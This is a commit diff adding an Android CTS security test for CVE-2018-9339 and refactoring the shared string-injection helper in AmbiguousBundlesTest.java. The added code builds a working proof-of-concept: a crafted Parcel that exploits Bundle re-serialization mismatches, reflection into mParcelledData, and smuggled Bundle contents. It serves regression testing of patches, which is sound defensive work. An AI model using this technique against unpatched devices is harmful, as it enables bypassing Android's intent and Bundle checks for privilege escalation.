CTS test for Android Security b/79775949 b/71508348
Test: successful run of newly introduced CTS test case.
Bug:79775949
Bug:71508348
Change-Id: I408d4651d0ace8a9b0bc30c06d0fb9dcc364ae43
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index c960101..ae5bc8e 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -22,6 +22,7 @@
import android.os.BaseBundle;
import android.os.Bundle;
import android.os.Parcel;
+import android.os.Parcelable;
import android.annotation.SuppressLint;
import java.io.InputStream;
@@ -33,6 +34,114 @@
public class AmbiguousBundlesTest extends AndroidTestCase {
+ /*
+ * b/71508348
+ */
+ @SecurityTest(minPatchLevel = "2018-06")
+ public void test_android_CVE_2018_9339() throws Exception {
+
+ Ambiguator ambiguator = new Ambiguator() {
+
+ private final Field parcelledDataField;
+
+ private static final String BASE_PARCELABLE = "android.telephony.CellInfo";
+ private final Parcelable smallerParcelable;
+ private final Parcelable biggerParcelable;
+
+ {
+ parcelledDataField = BaseBundle.class.getDeclaredField("mParcelledData");
+ parcelledDataField.setAccessible(true);
+
+ smallerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoGsm").newInstance();
+ biggerParcelable = (Parcelable) Class.forName("android.telephony.CellInfoLte").newInstance();
+
+ Parcel p = Parcel.obtain();
+ smallerParcelable.writeToParcel(p, 0);
+ int smallerParcelableSize = p.dataPosition();
+ biggerParcelable.writeToParcel(p, 0);
+ int biggerParcelableSize = p.dataPosition() - smallerParcelableSize;
+ p.recycle();
+
+ if (smallerParcelableSize >= biggerParcelableSize) {
+ throw new AssertionError("smallerParcelableSize >= biggerParcelableSize");
+ }
+ }
+
+ @Override
+ public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
+ // Find key that has hash below everything else
+ Random random = new Random(1234);
+ int minHash = 0;
+ for (String s : preReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+ for (String s : postReSerialize.keySet()) {
+ minHash = Math.min(minHash, s.hashCode());
+ }
+
+ String key;
+ int keyHash;
+
+ do {
+ key = randomString(random);
+ keyHash = key.hashCode();
+ } while (keyHash >= minHash);
+
+ // Pad bundles
+ padBundle(postReSerialize, preReSerialize.size() + 1, minHash, random);
+ padBundle(preReSerialize, postReSerialize.size() - 1, minHash, random);
+
+ // Write bundle
+ Parcel parcel = Parcel.obtain();
+
+ parcel.writeInt(preReSerialize.size() + 1); // Num key-value pairs
+ parcel.writeString(key); // Key
+
+ parcel.writeInt(VAL_PARCELABLE);
+ parcel.writeString("android.service.autofill.SaveRequest");
+
+ // read/writeTypedArrayList
+ parcel.writeInt(2); // Number of items in typed array list
+ parcel.writeInt(1); // Item present flag
+ parcel.writeString(BASE_PARCELABLE);
+ biggerParcelable.writeToParcel(parcel, 0);
+ parcel.writeInt(1); // Item present flag
+ smallerParcelable.writeToParcel(parcel, 0);
+
+ // read/writeBundle
+ int bundleLengthPosition = parcel.dataPosition();
+ parcel.writeInt(0); // Placeholder, will be replaced
+ parcel.writeInt(BUNDLE_MAGIC);
+ int bundleStart = parcel.dataPosition();
+ for (int i = 0; i < INNER_BUNDLE_PADDING; i++) {
+ parcel.writeInt(414100 + i); // Padding in inner bundle
+ }
+ parcel.writeInt(-1); // Inner bundle length after re-de-serialization (-1 = null Bundle)
+ writeBundleSkippingHeaders(parcel, postReSerialize);
+ int bundleEnd = parcel.dataPosition();
+
+ // Update inner Bundle length
+ parcel.setDataPosition(bundleLengthPosition);
+ parcel.writeInt(bundleEnd - bundleStart);
+ parcel.setDataPosition(bundleEnd);
+
+ // Write original Bundle contents
+ writeBundleSkippingHeaders(parcel, preReSerialize);
+
+ // Package crafted Parcel into Bundle so it can be used in regular Android APIs
+ parcel.setDataPosition(0);
+ Bundle bundle = new Bundle();
+ parcelledDataField.set(bundle, parcel);
+ return bundle;
+ }
+ };
+
+ testAmbiguator(ambiguator);
+ }
+
+ /*
+ * b/62998805
+ */
@SecurityTest(minPatchLevel = "2017-10")
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -88,51 +197,14 @@
parcelledDataField.set(bundle, parcel);
return bundle;
}
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- Parcel p = Parcel.obtain();
- p.writeInt(0);
- p.writeInt(0);
-
- Parcel p2 = Parcel.obtain();
- stuffToInject.writeToParcel(p2, 0);
- int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
- for (int i = 0; i < p2Len / 4 + 4; i++) {
- int paddingVal;
- if (i > 3) {
- paddingVal = i;
- } else {
- paddingVal = random.nextInt();
- }
- p.writeInt(paddingVal);
-
- }
-
- p.appendFrom(p2, BUNDLE_SKIP, p2Len);
- p2.recycle();
-
- while (p.dataPosition() % 8 != 0) p.writeInt(0);
- for (int i = 0; i < 2; i++) {
- p.writeInt(0);
- }
-
- int len = p.dataPosition() / 2 - 1;
- p.writeInt(0); p.writeInt(0);
- p.setDataPosition(0);
- p.writeInt(len);
- p.writeInt(len);
- p.setDataPosition(0);
- String result = p.readString();
- p.recycle();
- return result;
- }
};
testAmbiguator(ambiguator);
}
+ /*
+ * b/73252178
+ */
@SecurityTest(minPatchLevel = "2018-05")
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -219,16 +291,14 @@
parcelledDataField.set(bundle, parcel);
return bundle;
}
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- return null;
- }
};
testAmbiguator(ambiguator);
}
+ /*
+ * b/71714464
+ */
@SecurityTest(minPatchLevel = "2018-04")
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -283,46 +353,6 @@
parcelledDataField.set(bundle, parcel);
return bundle;
}
-
- @Override
- protected String makeStringToInject(Bundle stuffToInject, Random random) {
- Parcel p = Parcel.obtain();
- p.writeInt(0);
- p.writeInt(0);
-
- Parcel p2 = Parcel.obtain();
- stuffToInject.writeToParcel(p2, 0);
- int p2Len = p2.dataPosition() - BUNDLE_SKIP;
-
- for (int i = 0; i < p2Len / 4 + 4; i++) {
- int paddingVal;
- if (i > 3) {
- paddingVal = i;
- } else {
- paddingVal = random.nextInt();
- }
- p.writeInt(paddingVal);
-
- }
-
- p.appendFrom(p2, BUNDLE_SKIP, p2Len);
- p2.recycle();
-
- while (p.dataPosition() % 8 != 0) p.writeInt(0);
- for (int i = 0; i < 2; i++) {
- p.writeInt(0);
- }
-
- int len = p.dataPosition() / 2 - 1;
- p.writeInt(0); p.writeInt(0);
- p.setDataPosition(0);
- p.writeInt(len);
- p.writeInt(len);
- p.setDataPosition(0);
- String result = p.readString();
- p.recycle();
- return result;
- }
};
testAmbiguator(ambiguator);
@@ -379,6 +409,9 @@
protected static final int PROCSTATS_SYS_MEM_USAGE_COUNT = 16;
protected static final int PROCSTATS_SPARSE_MAPPING_TABLE_ARRAY_SIZE = 4096;
+ protected static final int BUNDLE_MAGIC = 0x4C444E42;
+ protected static final int INNER_BUNDLE_PADDING = 1;
+
protected final Field parcelledDataField;
public Ambiguator() throws Exception {
@@ -388,7 +421,44 @@
abstract public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception;
- abstract protected String makeStringToInject(Bundle stuffToInject, Random random);
+ protected String makeStringToInject(Bundle stuffToInject, Random random) {
+ Parcel p = Parcel.obtain();
+ p.writeInt(0);
+ p.writeInt(0);
+
+ Parcel p2 = Parcel.obtain();
+ stuffToInject.writeToParcel(p2, 0);
+ int p2Len = p2.dataPosition() - BUNDLE_SKIP;
+
+ for (int i = 0; i < p2Len / 4 + 4; i++) {
+ int paddingVal;
+ if (i > 3) {
+ paddingVal = i;
+ } else {
+ paddingVal = random.nextInt();
+ }
+ p.writeInt(paddingVal);
+
+ }
+
+ p.appendFrom(p2, BUNDLE_SKIP, p2Len);
+ p2.recycle();
+
+ while (p.dataPosition() % 8 != 0) p.writeInt(0);
+ for (int i = 0; i < 2; i++) {
+ p.writeInt(0);
+ }
+
+ int len = p.dataPosition() / 2 - 1;
+ p.writeInt(0); p.writeInt(0);
+ p.setDataPosition(0);
+ p.writeInt(len);
+ p.writeInt(len);
+ p.setDataPosition(0);
+ String result = p.readString();
+ p.recycle();
+ return result;
+ }
protected static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
Parcel p2 = Parcel.obtain();